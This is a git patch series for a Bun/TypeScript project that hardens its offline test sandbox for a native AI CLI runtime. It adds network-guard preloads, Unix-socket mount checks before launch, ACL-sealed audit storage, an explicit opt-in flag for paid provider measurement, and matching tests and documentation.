2da388d106..ad911335a8 100644 --- a/scripts/measure-claude-haiku.ts +++ b/scripts/measure-claude-haiku.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard"; // #1238: actual bundled runtime, production model assembly, fixture inference. // Run inside a network namespace with only loopback. No real credentials. diff --git a/scripts/measure-claude-runtime.ts b/scripts/measure-claude-runtime.ts index 4407219342..effa29d8c9 100644 --- a/scripts/measure-claude-runtime.ts +++ b/scripts/measure-claude-runtime.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; import { nativeScriptedService, nativeScriptedQuery } from "./test-native-guard.ts"; // Re-measures the Claude Code runtime behaviours the permission design rests // on, against whatever SDK and CLI this workspace installs (#209, diff --git a/scripts/measure-claude-usage.ts b/scripts/measure-claude-usage.ts index dbf393f542..6f0d48bb55 100644 --- a/scripts/measure-claude-usage.ts +++ b/scripts/measure-claude-usage.ts @@ -1,3 +1,5 @@ +import "./test-network-child-preload.ts"; +import { nativeScriptedService } from "./test-native-guard.ts"; // Keyless installed-runtime measurement for #2025. Only a loopback Messages // origin is contacted; isolated HOME/config and synthetic credentials prevent // borrowing provider access. This measures CLI accounting, not provider bills. @@ -31,6 +33,7 @@ export async function measureClaudeUsage() { return new Response(events.map(event => `event: ${event.type}\ndata: ${JSON.stringify(event)}\n\n`).join(""), { headers: { "content-type": "text/event-stream" } }); } }); +nativeScriptedService(model.url.origin); const cwd = mkdtempSync(join(tmpdir(), "claude-usage-cwd-")); const home = mkdtempSync(join(tmpdir(), "claude-usage-home-")); let sessionId: string | undefined, cliVersion: string | undefined; diff --git a/scripts/measure-real-provider-dispatch.ts b/scripts/measure-real-provider-dispatch.ts index 0e8d124a7e..d3f4b9252e 100644 --- a/scripts/measure-real-provider-dispatch.ts +++ b/scripts/measure-real-provider-dispatch.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** * Real-provider verification of the restricted inference relay and the gated * dispatcher (#1548). Opt-in, paid, never run by tests or CI. diff --git a/scripts/measure-show-block-server.ts b/scripts/measure-show-block-server.ts index 1759dc12cb..dee05df619 100644 --- a/scripts/measure-show-block-server.ts +++ b/scripts/measure-show-block-server.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; // Measures how often a backend reaches for `show_block` (D41) and what the // classification pass (D42) finds in the markdown it typed instead — // through the running server, so any backend can be measured. diff --git a/scripts/measure-show-block.ts b/scripts/measure-show-block.ts index 4fd815c58c..2ab674e517 100644 --- a/scripts/measure-show-block.ts +++ b/scripts/measure-show-block.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** * Measure the `show_block` call rate on the Claude backend, with and without * the tool's per-turn brief. diff --git a/scripts/measure-turn-surface-live.ts b/scripts/measure-turn-surface-live.ts index 04e42b0d06..b41c7e865f 100644 --- a/scripts/measure-turn-surface-live.ts +++ b/scripts/measure-turn-surface-live.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** Private #587 research entrypoint. Never changes a production router/default. */ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; diff --git a/scripts/measure-turn-surface-tokens.ts b/scripts/measure-turn-surface-tokens.ts index 459f2e39c9..b67bb38d0b 100644 --- a/scripts/measure-turn-surface-tokens.ts +++ b/scripts/measure-turn-surface-tokens.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** Count the captured installed-CLI surface; never generate an answer. */ import { createHash } from "node:crypto"; import { captureSurface, SURFACE_MODEL } from "./capture-turn-surface"; diff --git a/scripts/native-proof/hosted-app-child.ts b/scripts/native-proof/hosted-app-child.ts index 928e9d74f1..6f7220869d 100644 --- a/scripts/native-proof/hosted-app-child.ts +++ b/scripts/native-proof/hosted-app-child.ts @@ -1,3 +1,4 @@ +import "../test-network-child-preload.ts"; import { appendFileSync, existsSync, readFileSync, renameSync, writeFileSync, statSync } from "node:fs"; import { join } from "node:path"; diff --git a/scripts/native-proof/reference-integration-child.ts b/scripts/native-proof/reference-integration-child.ts index 7129660079..ce129ccc1e 100644 --- a/scripts/native-proof/reference-integration-child.ts +++ b/scripts/native-proof/reference-integration-child.ts @@ -1,3 +1,4 @@ +import "../test-network-child-preload.ts"; /** * The hosted app for the integrated reference proof (#2751), run by * reference-integration.native.ts as the unprivileged app user. Both backends diff --git a/scripts/show-block-schema-forms.ts b/scripts/show-block-schema-forms.ts index 06164ecb6d..396927ffc3 100644 --- a/scripts/show-block-schema-forms.ts +++ b/scripts/show-block-schema-forms.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** * The schema forms #336 A/Bs, and the credential its live half runs on. * diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index 4180fd0f88..dbdae9e93a 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -214,7 +214,7 @@ function fixtureToolView(env: Record, cwd: string, h } interface AuditReceipt { kind: "native-offline-audit"; head: string; nativeLaunched: boolean; success: boolean; reason?: string; deniedConnects: number } -interface Boundary { argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } +interface Boundary { beforeLaunch(): void; argv: string[]; env: Record; dispose(): void; receipt(): AuditReceipt } /** Retain only public synthetic credentials, including their absent/both cases. */ function syntheticCredentials(env: Record): Record { @@ -311,6 +311,12 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const inheritedOrigin = inheritedSocket ? ownedSocketOrigin(inheritedSocket) : undefined; if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); + const beforeLaunch = () => { + for (const path of [home, cwd]) { + if (!fixtureSocketViewOwned(path, route.origin)) refuse("fixture storage contains an unowned Unix socket or directory alias"); + } + }; + beforeLaunch(); const bridge = startNativeTestRelay(route.origin); try { const tools = fixtureToolView(env, cwd, home); @@ -344,7 +350,8 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { for (const [key, value] of Object.entries(childEnv)) argv.push("--setenv", key, value); argv.push("--chdir", cwd, "--", command, ...args); const audited = auditNativeLaunch(argv, expectedNativeExec(command, args, options), () => { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); }); - return { ...audited, env: {} }; + beforeLaunch(); + return { ...audited, env: {}, beforeLaunch }; } catch (error) { bridge.dispose(); if (versionHome) rmSync(versionHome, { recursive: true, force: true }); throw error; } } @@ -478,6 +485,25 @@ function admittedRelay(argv: string[], socket: string): string | undefined { } } +/** Metadata only: no fixture file contents or outside directory trees are read. */ +function fixtureSocketViewOwned(directory: string, origin: string): boolean { + const root = realpathSync(directory), visited = new Set(); + const visit = (path: string): boolean => { + const real = realpathSync(path), info = lstatSync(real, { bigint: true }); + if (info.isSocket()) { + const peer = ownedSocketOrigin(real); + return Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); + } + if (!info.isDirectory()) return true; + if (!within(root, real)) return false; + const key = socketIdentity(info); + if (visited.has(key)) return true; + visited.add(key); + return readdirSync(real).every(name => visit(join(real, name))); + }; + try { return visit(root); } catch { return false; } +} + function relaySubtreeOwned(directory: string, origin: string): boolean { const root = realpathSync(directory), visited = new Set(); const visit = (path: string): boolean => { diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 3eec7e0a48..591702fd09 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -185,6 +185,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; try { + boundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); if (key === "spawn") void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose(); }); else workerBoundary?.dispose(); diff --git a/scripts/turn-surface-overlap.ts b/scripts/turn-surface-overlap.ts index 3b0c6893e7..ef094dee98 100644 --- a/scripts/turn-surface-overlap.ts +++ b/scripts/turn-surface-overlap.ts @@ -1,3 +1,4 @@ +import "./test-network-child-preload.ts"; /** Private #587 experiment: overlap installed-CLI startup with a bounded router. * MCP listing waits for the decision; claim discovers the fixture's project * skills after any diagnostic pruning. All arms use the same startup path. diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index 2989529c83..76885b784f 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -1,5 +1,5 @@ import { afterEach, expect, test } from "bun:test"; -import { mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; +import { mkdirSync, readFileSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; import { tmpdir } from "node:os"; import { join, resolve } from "node:path"; import { BROWSER_DETERMINISM_REPORT, browserDeterminismPairs, categoryCommands, DETERMINISM_REPORT, determinismFiles, proofProblems, PROOF_JOBS, unitFiles } from "../scripts/ci-proof"; @@ -454,3 +454,24 @@ test("native CLI command preload resolves as a file and latches refusal before a expect(output).toContain('"success":false,"nativeLaunched":false'); expect(output).toContain("positive native proof requires a hosted runner"); }); + + +test("standalone native SDK entries install the guard before importing their runtime dependencies", () => { + const entries = [ + "scripts/measure-claude-capability.ts", "scripts/measure-claude-runtime.ts", "scripts/measure-claude-usage.ts", + "scripts/measure-claude-haiku.ts", "scripts/measure-claude-enforcement.ts", "scripts/measure-claude-delegation.ts", + "scripts/measure-show-block.ts", "scripts/measure-show-block-server.ts", "scripts/measure-real-provider-dispatch.ts", + "scripts/measure-turn-surface-live.ts", "scripts/measure-turn-surface-tokens.ts", "scripts/show-block-schema-forms.ts", + "scripts/capture-turn-surface.ts", "scripts/turn-surface-overlap.ts", "scripts/fixtures/claude-core-default-probe.ts", + "scripts/native-proof/hosted-app-child.ts", "scripts/native-proof/reference-integration-child.ts", + "experiments/fixtures/runtime-placement-probe.ts", "experiments/2052-title-provenance/probe.ts", + ]; + for (const entry of entries) { + const source = readFileSync(join(ROOT, entry), "utf8"); + // A first side-effect import evaluates the guard before static SDK imports, + // backend dependencies or dynamic SDK resolution in the entry's body. + expect(source.split("\n")[0], entry).toMatch(/^import "(?:\.\.\/|\.\/)+(?:scripts\/)?test-network-child-preload\.ts";$/); + } + const preload = readFileSync(join(ROOT, "scripts/test-network-child-preload.ts"), "utf8"); + expect(preload.indexOf("installNetworkGuard();")).toBeLessThan(preload.indexOf('await import("bun:test")')); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index ac8b06a330..ed40514612 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -523,6 +523,32 @@ test("registered same-origin Unix relays forward successfully", async () => { } finally { rmSync(scratch, { recursive: true, force: true }); } }); +test("direct fixture mounts reject unowned sockets in HOME, cwd and a late launch recheck", async () => { + const scratch = mkdtempSync(join(tmpdir(), "odysseus-mounted-socket-")); + try { + for (const mode of ["home", "cwd", "late"]) { + const result = await probe(`${imports} + import {mkdirSync,writeFileSync} from "node:fs"; + const spawnSync=Bun.spawnSync,which=Bun.which; + Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); + Bun.spawnSync=((argv,options)=>["bwrap","strace"].includes(argv[0])?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); + process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; + const home=${JSON.stringify(join(scratch, "home"))},cwd=${JSON.stringify(join(scratch, "brain"))}; + mkdirSync(home,{recursive:true});mkdirSync(cwd,{recursive:true}); + const socket=(${JSON.stringify(mode)}==="cwd"?cwd:home)+"/foreign.sock"; + let foreign,plan; + if(${JSON.stringify(mode)}!=="late")foreign=Bun.serve({unix:socket,fetch:()=>new Response("foreign")}); + const leave=registerScriptedService("http://127.0.0.1:1"); + try{plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd,env:{HOME:home}}); + if(${JSON.stringify(mode)}==="late"){leave();foreign=Bun.serve({unix:socket,fetch:()=>new Response("late")});} + plan.beforeLaunch(); + }finally{foreign?.stop(true);if(plan){writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}}`, scratch); + expect(result.code).not.toBe(0); + expect(result.output).toContain('"reason":"fixture storage contains an unowned Unix socket or directory alias"'); + } + } finally { rmSync(scratch, { recursive: true, force: true }); } +}); + // Positive native tests are deliberately unavailable on developer hosts. The // local suite proves refusal above; CI executes this assertion rather than a // skipped test or an unsealed fallback. From 04ec7687f22a190f9df3f576551b72888224f2fb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:20:27 +0000 Subject: [PATCH 033/187] test: require standalone preload guard installation explicitly --- tests/hosted-proof.test.ts | 1 + 1 file changed, 1 insertion(+) diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index 76885b784f..0298d00461 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -473,5 +473,6 @@ test("standalone native SDK entries install the guard before importing their run expect(source.split("\n")[0], entry).toMatch(/^import "(?:\.\.\/|\.\/)+(?:scripts\/)?test-network-child-preload\.ts";$/); } const preload = readFileSync(join(ROOT, "scripts/test-network-child-preload.ts"), "utf8"); + expect(preload).toContain("const guard = installNetworkGuard();"); expect(preload.indexOf("installNetworkGuard();")).toBeLessThan(preload.indexOf('await import("bun:test")')); }); From ed9ca32bdde374b79dd15a4bd531caaf967fa76b Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sat, 21 Nov 2026 00:36:37 +0000 Subject: [PATCH 034/187] fix: validate native mount inventory and seal worker audit evidence --- docs/process/testing.md | 11 ++- scripts/measure-real-provider-dispatch.ts | 12 ++- scripts/test-native-guard.ts | 90 ++++++++++++++++++----- scripts/test-network-guard.ts | 2 +- tests/hosted-proof.test.ts | 14 +++- tests/native-offline-boundary.test.ts | 33 ++++++++- 6 files changed, 129 insertions(+), 33 deletions(-) diff --git a/docs/process/testing.md b/docs/process/testing.md index 833167ae79..5fe3d7270d 100644 --- a/docs/process/testing.md +++ b/docs/process/testing.md @@ -1171,9 +1171,14 @@ credential precedence. No production authentication or managed-policy behavior changes. Standalone native measurement and experiment entries import the subprocess guard -before their SDK or backend dependencies. Direct fixture HOME and cwd mounts -reject unowned Unix sockets, including nested aliases, and recheck immediately -before launch. The hostile-settings proof always registers; outside hosted CI it +before their SDK or backend dependencies. Direct and worker bind inventories reject unowned Unix sockets across every +source, including fixture PATH directories, settings and nested mounted aliases, +and recheck immediately before launch. Separate-UID trace storage remains +guard-owned with a named-user POSIX ACL granting only the verified worker UID +write access; receipt reads verify ownership, inode identity, modes and ACLs. +The opt-in paid real-provider dispatch measurement is outside the offline test +path: its documented `--allow-real-provider` admission is required before runtime +imports, and its live-provider and spending warnings remain in the script. The hostile-settings proof always registers; outside hosted CI it fails with an explicit isolation-unavailable receipt rather than disappearing. `tests/native-offline-boundary.test.ts` proves local refusal with harmless diff --git a/scripts/measure-real-provider-dispatch.ts b/scripts/measure-real-provider-dispatch.ts index d3f4b9252e..4aef5ea4b3 100644 --- a/scripts/measure-real-provider-dispatch.ts +++ b/scripts/measure-real-provider-dispatch.ts @@ -1,4 +1,8 @@ -import "./test-network-child-preload.ts"; +// Explicit paid-operation admission precedes all runtime dependency imports. +if (!process.argv.includes("--allow-real-provider")) { + console.error("Real-provider measurement refused: explicit --allow-real-provider opt-in required"); + process.exit(2); +} /** * Real-provider verification of the restricted inference relay and the gated * dispatcher (#1548). Opt-in, paid, never run by tests or CI. @@ -9,7 +13,7 @@ import "./test-network-child-preload.ts"; * set to the real provider. T1 classification stays the keyless fixture; only * the agent tier reaches the provider, and only through the server's relay. * - * bun scripts/measure-real-provider-dispatch.ts --out [--spent-before ] [--dry-run] + * bun scripts/measure-real-provider-dispatch.ts --allow-real-provider --out [--spent-before ] [--dry-run] * * Profiles: `claude-api` (needs ANTHROPIC_API_KEY), `claude-subscription` * (needs CLAUDE_CODE_OAUTH_TOKEN), `pi-api` (needs ANTHROPIC_API_KEY). The @@ -62,7 +66,7 @@ const GUARD = { input: SONNET55_USD_PER_MTOK.input / 1e6, output: SONNET55_USD_P cacheRead: 0.2 / 1e6, cacheWrite: SONNET55_USD_PER_MTOK.cacheWrite1h / 1e6 }; function usage(message: string): never { - console.error(`${message}\nusage: bun scripts/measure-real-provider-dispatch.ts <${Object.keys(PROFILES).join("|")}> --out [--spent-before ] [--dry-run]`); + console.error(`${message}\nusage: bun scripts/measure-real-provider-dispatch.ts <${Object.keys(PROFILES).join("|")}> --allow-real-provider --out [--spent-before ] [--dry-run]`); process.exit(2); } @@ -84,7 +88,7 @@ async function parent(): Promise { for (const dir of ["home", "claude", "pi", "run"]) mkdirSync(join(root, dir), { recursive: true }); // One attempt: pi retries nothing, compacts nothing and warms no cache. writeFileSync(join(root, "pi/settings.json"), JSON.stringify({ retry: { enabled: false }, compaction: { enabled: false }, cacheWarming: "off" })); - const child = Bun.spawn([process.execPath, import.meta.path, "--server", name, root, dry ? "dry" : "live", String(prior)], { + const child = Bun.spawn([process.execPath, import.meta.path, "--server", name, root, dry ? "dry" : "live", String(prior), "--allow-real-provider"], { cwd: REPO, stdio: ["ignore", "pipe", "pipe"], env: { PATH: process.env.PATH!, LANG: "C.UTF-8", HOME: join(root, "home"), TMPDIR: tmpdir(), CLAUDE_CONFIG_DIR: join(root, "claude"), PI_CODING_AGENT_DIR: join(root, "pi"), diff --git a/scripts/test-native-guard.ts b/scripts/test-native-guard.ts index dbdae9e93a..d5d9ecf2e0 100644 --- a/scripts/test-native-guard.ts +++ b/scripts/test-native-guard.ts @@ -235,14 +235,47 @@ export function nativeExecObserved(trace: string, paths: readonly string[]): boo return trace.split("\n").some(line => paths.some(path => line.includes(`execve(${JSON.stringify(path)},`)) && /\)\s+= 0$/.test(line.trim())); } -export function auditNativeLaunch(argv: string[], expected: readonly string[], cleanup: () => void) { +const AUDIT_ACL = `import os,struct,sys +operation,uid,directory,log=sys.argv[1:] +uid=int(uid) +def acl(owner,worker): + return struct.pack(' void, workerUid?: number) { const directory = mkdtempSync(join(tmpdir(), "odysseus-native-audit-")); const log = join(directory, "connect.log"); writeFileSync(log, "", { mode: 0o600 }); + if (workerUid !== undefined && !auditAcl("set", workerUid, directory, log)) { + cleanup(); rmSync(directory, { recursive: true, force: true }); refuse("native audit access isolation is unavailable"); + } + const owner = process.getuid?.(), directoryStamp = lstatSync(directory, { bigint: true }), logStamp = lstatSync(log, { bigint: true }); + const storageIntact = () => { + try { + const folder = lstatSync(directory, { bigint: true }), file = lstatSync(log, { bigint: true }); + return folder.isDirectory() && file.isFile() && folder.uid === BigInt(owner!) && file.uid === BigInt(owner!) + && folder.dev === directoryStamp.dev && folder.ino === directoryStamp.ino && file.dev === logStamp.dev && file.ino === logStamp.ino + && (folder.mode & 0o7777n) === (workerUid === undefined ? 0o700n : 0o730n) + && (file.mode & 0o7777n) === (workerUid === undefined ? 0o600n : 0o620n) + && (workerUid === undefined || auditAcl("check", workerUid, directory, log)); + } catch { return false; } + }; let receipt: AuditReceipt | undefined; const finish = (): AuditReceipt => { if (receipt) return receipt; try { + if (!storageIntact()) { + denied++; + receipt = { kind: "native-offline-audit", head: nativeTestHead(), nativeLaunched: false, success: false, reason: "native audit storage integrity failed", deniedConnects: 0 }; + console.error(JSON.stringify(receipt)); return receipt; + } let trace = ""; try { trace = readFileSync(log, "utf8"); } catch { /* Missing evidence is a failed receipt. */ } const nativeLaunched = nativeExecObserved(trace, expected); @@ -311,18 +344,12 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { const inheritedOrigin = inheritedSocket ? ownedSocketOrigin(inheritedSocket) : undefined; if (inheritedSocket && !inheritedOrigin) refuse("pre-existing native relay is not guard-owned"); if (inheritedOrigin && (!scriptedRoute.getStore() || normalizedOrigin(inheritedOrigin) !== normalizedOrigin(scriptedRoute.getStore()!.origin))) refuse("native relay did not match scripted authority"); - const beforeLaunch = () => { - for (const path of [home, cwd]) { - if (!fixtureSocketViewOwned(path, route.origin)) refuse("fixture storage contains an unowned Unix socket or directory alias"); - } - }; - beforeLaunch(); const bridge = startNativeTestRelay(route.origin); try { const tools = fixtureToolView(env, cwd, home); command = resolveExecutable(command, options); const executable = realpathSync(command); - const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...systemMounts(), + const mounts = [...systemMounts(), "--proc", "/proc", "--dev", "/dev", "--tmpfs", "/tmp", ...testRuntimeMounts(), "--ro-bind", executable, command, "--ro-bind", process.execPath, process.execPath, "--bind", home, home, ...(cwd === ROOT || within(ROOT, cwd) || within(home, cwd) ? [] : ["--bind", cwd, cwd]), @@ -330,7 +357,10 @@ export function nativeClaudeBoundary(command: string, args: string[], options: { "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...(inheritedSocket && inheritedOrigin ? ["--ro-bind", inheritedSocket, "/tmp/native-relay/relay.sock", "--ro-bind", inheritedSocket, inheritedSocket] : []), - ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []), "--clearenv"]; + ...(options.managedSettings ? ["--ro-bind", options.managedSettings, "/etc/claude-code"] : []),]; + const beforeLaunch = () => assertNativeMountSockets(mounts, route.origin); + beforeLaunch(); + const argv = [bwrapExecutable, "--unshare-all", "--die-with-parent", "--new-session", "--cap-drop", "ALL", ...mounts, "--clearenv"]; const childEnv: Record = { HOME: home, CLAUDE_CONFIG_DIR: versionHome ?? env.CLAUDE_CONFIG_DIR ?? home, PATH: tools.path, LANG: "C.UTF-8", ANTHROPIC_BASE_URL: "http://localhost", ANTHROPIC_UNIX_SOCKET: "/tmp/native-relay/relay.sock", @@ -485,23 +515,37 @@ function admittedRelay(argv: string[], socket: string): string | undefined { } } -/** Metadata only: no fixture file contents or outside directory trees are read. */ -function fixtureSocketViewOwned(directory: string, origin: string): boolean { - const root = realpathSync(directory), visited = new Set(); +/** Validate the same bind-source inventory used to construct the native view. */ +function assertNativeMountSockets(mounts: readonly string[], origin: string): void { + const roots: string[] = []; + for (let i = 0; i < mounts.length - 2; i++) { + if (["--bind", "--ro-bind"].includes(mounts[i]!)) { + try { const source = realpathSync(mounts[i + 1]!); if (source === "/") refuse("native mount exposes the host root"); roots.push(source); } catch { refuse("native mount source is unavailable"); } + i += 2; + } + } + const visited = new Set(); const visit = (path: string): boolean => { - const real = realpathSync(path), info = lstatSync(real, { bigint: true }); + let real: string; + try { real = realpathSync(path); } catch { + // A dangling symlink cannot expose a socket in the mounted view. + return lstatSync(path).isSymbolicLink(); + } + // An absolute alias into unmounted storage is inaccessible in the child. + if (!roots.some(root => within(root, real))) return true; + const info = lstatSync(real, { bigint: true }); if (info.isSocket()) { const peer = ownedSocketOrigin(real); return Boolean(peer && normalizedOrigin(peer) === normalizedOrigin(origin)); } if (!info.isDirectory()) return true; - if (!within(root, real)) return false; const key = socketIdentity(info); if (visited.has(key)) return true; visited.add(key); return readdirSync(real).every(name => visit(join(real, name))); }; - try { return visit(root); } catch { return false; } + try { if (roots.every(visit)) return; } catch { /* Unknown view refuses. */ } + refuse("fixture storage contains an unowned Unix socket or directory alias"); } function relaySubtreeOwned(directory: string, origin: string): boolean { @@ -524,8 +568,8 @@ function relaySubtreeOwned(directory: string, origin: string): boolean { } /** Inspect the concrete existing worker bootstrap, including its exec payload. */ -export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void } { - const unchanged = { env, dispose() {} }; +export function nativeWorkerBoundary(env: Record): { env: Record; dispose(): void; beforeLaunch(): void } { + const unchanged = { env, dispose() {}, beforeLaunch() {} }; if (!env.BRAIN_WORKER_LAUNCH) return unchanged; let launch: { command?: string[]; argv?: string[]; env?: Record; brainPath?: string; hostHome?: string } | null; try { launch = JSON.parse(env.BRAIN_WORKER_LAUNCH); } catch { return unchanged; } @@ -559,6 +603,7 @@ export function nativeWorkerBoundary(env: Record): { const bridge = startNativeTestRelay(route.origin); try { const tools = fixtureToolView(launch.env ?? {}, launch.brainPath ?? ROOT, launch.hostHome ?? launch.env?.HOME); + assertNativeMountSockets(tools.mounts, route.origin); for (let i = bwrap + 1; i < workerArgv.indexOf("--", bwrap); i++) { if (workerArgv[i] === "--ro-bind" && workerArgv[i + 1] === "/" && workerArgv[i + 2] === "/") workerArgv.splice(i--, 3); else if (workerArgv[i] === "--setenv" && !WORKER_RUNTIME_ENV.has(workerArgv[i + 1]!)) workerArgv.splice(i--, 3); @@ -573,6 +618,9 @@ export function nativeWorkerBoundary(env: Record): { workerArgv.splice(separator, 0, "--ro-bind", bridge.directory, "/tmp/native-relay", "--ro-bind", join(bridge.directory, "passwd"), "/etc/passwd", "--ro-bind", join(bridge.directory, "group"), "/etc/group", ...Object.entries(pinned).flatMap(([key, value]) => ["--setenv", key, value])); + const nativeMounts = workerArgv.slice(bwrap + 1, workerArgv.indexOf("--", bwrap)); + const beforeLaunch = () => assertNativeMountSockets(nativeMounts, route.origin); + beforeLaunch(); const expected = expectedNativeExec(launch.command[0], launch.command.slice(1), { cwd: launch.brainPath, env: launch.env }); let audited: ReturnType; if (supervisor) { @@ -580,12 +628,14 @@ export function nativeWorkerBoundary(env: Record): { // The tracer runs after the UID handoff, outside the native PID and mount // view. The inner boundary preserves fixture writable mounts but hides // the audit storage and drops namespace capabilities from descendants. + const { verifiedWorkerIdentity } = createRequire(import.meta.url)("../packages/ui-sdk/src/server/worker-launcher.ts") as typeof import("../packages/ui-sdk/src/server/worker-launcher"); + const identity = launch.brainPath && verifiedWorkerIdentity(launch.brainPath); + if (!identity || identity.workerUid === process.getuid?.()) refuse("native worker audit lacks a verified separate UID"); audited = auditNativeLaunch([bwrapExecutable, "--die-with-parent", "--unshare-user", "--unshare-pid", "--unshare-net", "--cap-drop", "ALL", - "--bind", "/", "/", "--proc", "/proc", "--tmpfs", "AUDIT_STORAGE", "--", ...payload], expected, bridge.dispose); + "--bind", "/", "/", "--proc", "/proc", "--tmpfs", "AUDIT_STORAGE", "--", ...payload], expected, bridge.dispose, identity.workerUid); const log = audited.argv[audited.argv.indexOf("-o") + 1]!, directory = dirname(log); audited.argv[audited.argv.indexOf("AUDIT_STORAGE")] = directory; // Only the outer tracer sees this mount; the native process sees tmpfs. - chmodSync(directory, 0o777); chmodSync(log, 0o666); chmodSync(bridge.directory, 0o755); chmodSync(join(bridge.directory, "relay.sock"), 0o666); workerArgv.splice(workerArgv.indexOf("--", bwrap), 0, "--bind", directory, directory); workerArgv.push(...audited.argv); @@ -595,6 +645,6 @@ export function nativeWorkerBoundary(env: Record): { audited = auditNativeLaunch(workerArgv, expected, bridge.dispose); launch.argv = audited.argv; } - return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose }; + return { env: { ...env, BRAIN_WORKER_LAUNCH: JSON.stringify(launch) }, dispose: audited.dispose, beforeLaunch }; } catch (error) { bridge.dispose(); throw error; } } diff --git a/scripts/test-network-guard.ts b/scripts/test-network-guard.ts index 591702fd09..821f51d45f 100644 --- a/scripts/test-network-guard.ts +++ b/scripts/test-network-guard.ts @@ -185,7 +185,7 @@ export function installNetworkGuard(): { assertNoEscapes(): void } { if (Array.isArray(first)) args[1] = inherited; else args[0] = { ...inherited, cmd: (args[0] as { cmd: string[] }).cmd }; try { - boundary?.beforeLaunch(); + boundary?.beforeLaunch(); workerBoundary?.beforeLaunch(); const result = Reflect.apply(native, Bun, args); if (key === "spawn") void result.exited.finally(() => { boundary?.dispose(); workerBoundary?.dispose(); }); else workerBoundary?.dispose(); diff --git a/tests/hosted-proof.test.ts b/tests/hosted-proof.test.ts index 0298d00461..9459cf4d2c 100644 --- a/tests/hosted-proof.test.ts +++ b/tests/hosted-proof.test.ts @@ -460,7 +460,7 @@ test("standalone native SDK entries install the guard before importing their run const entries = [ "scripts/measure-claude-capability.ts", "scripts/measure-claude-runtime.ts", "scripts/measure-claude-usage.ts", "scripts/measure-claude-haiku.ts", "scripts/measure-claude-enforcement.ts", "scripts/measure-claude-delegation.ts", - "scripts/measure-show-block.ts", "scripts/measure-show-block-server.ts", "scripts/measure-real-provider-dispatch.ts", + "scripts/measure-show-block.ts", "scripts/measure-show-block-server.ts", "scripts/measure-turn-surface-live.ts", "scripts/measure-turn-surface-tokens.ts", "scripts/show-block-schema-forms.ts", "scripts/capture-turn-surface.ts", "scripts/turn-surface-overlap.ts", "scripts/fixtures/claude-core-default-probe.ts", "scripts/native-proof/hosted-app-child.ts", "scripts/native-proof/reference-integration-child.ts", @@ -476,3 +476,15 @@ test("standalone native SDK entries install the guard before importing their run expect(preload).toContain("const guard = installNetworkGuard();"); expect(preload.indexOf("installNetworkGuard();")).toBeLessThan(preload.indexOf('await import("bun:test")')); }); + + +test("paid provider measurement requires explicit admission before runtime imports", () => { + const source = readFileSync(join(ROOT, "scripts/measure-real-provider-dispatch.ts"), "utf8"); + const admission = source.indexOf('if (!process.argv.includes("--allow-real-provider"))'); + expect(admission).toBeGreaterThanOrEqual(0); + expect(source.slice(admission, source.indexOf("/**"))).toContain("process.exit(2)"); + expect(admission).toBeLessThan(source.indexOf("await import(")); + expect(source).not.toContain('import "./test-network-child-preload.ts"'); + expect(source).toContain('String(prior), "--allow-real-provider"'); + expect(source).toContain("Opt-in, paid, never run by tests or CI"); 